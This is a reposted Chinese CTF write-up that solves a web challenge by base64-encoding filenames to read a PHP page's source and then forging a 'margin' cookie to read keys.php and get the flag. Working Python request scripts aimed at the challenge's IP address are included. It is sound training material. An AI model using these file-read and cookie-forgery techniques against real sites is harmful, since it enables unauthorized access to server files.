CTF-cookies欺騙


CTF-cookies欺騙 100

點進去這些字母沒用啊

看到url的信息http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

base64解碼發現時keys.txt進行訪問http://123.206.87.240:8002/web11/keys.txt

發現沒用還是點擊去呈現的原來字母段,沒有提示了,只能度娘理解了

注意到這個邏輯,php解析的時候 line 表示的是行號,filename是對於文件內容的讀取,所以,直接構造一個邏輯矛盾,讓filename去讀自己即讀index.php,既然key.txt是被編碼過的,那么這里的index.php也要base64編碼一下,之后報錯,取line=1,相應的URL是:

你可以通過修改line的值來獲取源碼但是這很麻煩,不是嗎?

用腳本讀取一下

 

import requests

 

url1 ="http://123.206.87.240:8002/web11/index.php?line="

url2 ="&filename=aW5kZXgucGhw"

 

mysession = requests.session()

for i in range(0,40):

r = mysession.get(url1+str(i)+url2)#讀取每一行代碼

print(r.text)

 

獲得:

<?php error_reporting(0);

 

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

 

$line=isset($_GET['line'])?intval($_GET['line']):0;

 

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

 

$file_list = array(

 

'0' =>'keys.txt',

 

'1' =>'index.php',

 

);

 

 

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

 

$file_list[2]='keys.php';

 

}

 

 

 

if(in_array($file, $file_list)){

 

$fa = file($file);

 

echo $fa[$line];

 

}

 

?> 理解:要把cookie中設置margin參數為'margin'且要修改filename是keys.php的base64編碼的內容,即可獲取flag

 

兩種方法:

一種就是burpsuite傳參:

另一種就是寫一小段腳本:

import requests

url = "http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=" # filename替換為keys.php的base64加密后的內容

mysession = requests.session()

cookies = {'margin': 'margin'}

r = mysession.post(url, cookies=cookies)

print(r.text)

 

總結:cookies的傳參理解和代碼的熟悉以及對題目的意義,主要是讓你知道base64編碼傳參,line和filename的使用再利用腳本獲取index.php的內容源碼,主要是需要獲取源碼並且理解源碼涵義,這里理解為將cookie中·設置margin參數的值為margin,即可獲取得到flag了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM